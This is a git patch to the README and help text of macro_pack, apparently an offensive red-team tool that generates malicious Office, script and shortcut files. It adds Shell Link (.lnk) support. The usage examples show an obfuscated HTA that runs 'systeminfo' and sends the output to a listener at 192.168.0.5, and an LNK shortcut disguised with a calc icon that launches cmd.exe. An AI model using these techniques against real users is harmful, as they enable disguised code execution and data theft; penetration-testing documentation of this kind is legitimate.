From e2985ae74acfc0f87a03be252d81170aae1bf60e Mon Sep 17 00:00:00 2001 From: "emeric.nasi" Date: Wed, 11 Apr 2018 20:24:33 +0200 Subject: [PATCH] Add help for lnk feature --- README.md | 14 ++++++++++---- src/common/help.py | 4 ++-- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index ba74dad..e6cd780 100644 --- a/README.md +++ b/README.md @@ -61,13 +61,13 @@ Scripting (txt) supported formats are: * Windows Script Components scriptlets (.wsc, .sct) * HTML Applications (.hta) - Shortcuts supported formats are: +* Shell Link (.lnk) * Explorer Command File (.scf) * URL Shortcut (.url) * Groove Shortcuts (.glk) -Note that all scripting and shortcuts formats can be generated on Linux version of macro\_pack as well. +Note that all scripting and shortcuts formats (except LNK) can be generated on Linux version of macro\_pack as well. @@ -198,7 +198,7 @@ set EnableStageEncoding true ``` -- Generated obfuscated HTA file which executes "systeminfo" and returns result to another macro_pack listening on 192.168.0.5 +- Generates obfuscated HTA file which executes "systeminfo" and returns result to another macro_pack listening on 192.168.0.5 ```batch # 1 Generate HTA file with CMD template echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t CMD -o -G info.hta @@ -211,7 +211,13 @@ mshta.exe full/path/to/info.hta - Generate url shortcut which executes a local hta file when you click on it ```batch - echo "file://C:\Users\username\Desktop\hello.hta" | python.exe .\macro_pack.py -G C:\Users\username\Desktop\yop.url + echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url +``` + + +- Generate lnk shortcut which executes a cmd running calc.exe with calc.exe icon +```batch + echo '"c:\Windows\System32\cmd.exe /c calc.exe" "calc.exe"' | macro_pack.exe -G calc.lnk ``` diff --git a/src/common/help.py b/src/common/help.py index 9341534..6983c39 100644 --- a/src/common/help.py +++ b/src/common/help.py @@ -178,7 +178,7 @@ def printUsage(banner, currentApp, mpSession): Supported Ms Office extensions are: doc, docm, docx, xls, xlsm, xslx, pptm, vsd, vsdm, mpp. Note: Ms Office file generation requires Windows OS with right MS Office application installed. Supported Visual Basic scripts extensions are: vba, vbs, wsf, wsc, sct, hta. - Supported shortcuts extensions are: scf, url, glk + Supported shortcuts extensions are: lnk, scf, url, glk -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. @@ -204,7 +204,7 @@ def printUsage(banner, currentApp, mpSession): Notes: Have a look at README.md file for more details and usage! - Homes: www.github.com/sevagas && blog.sevagas.com + Home: www.github.com/sevagas && blog.sevagas.com """ print(details)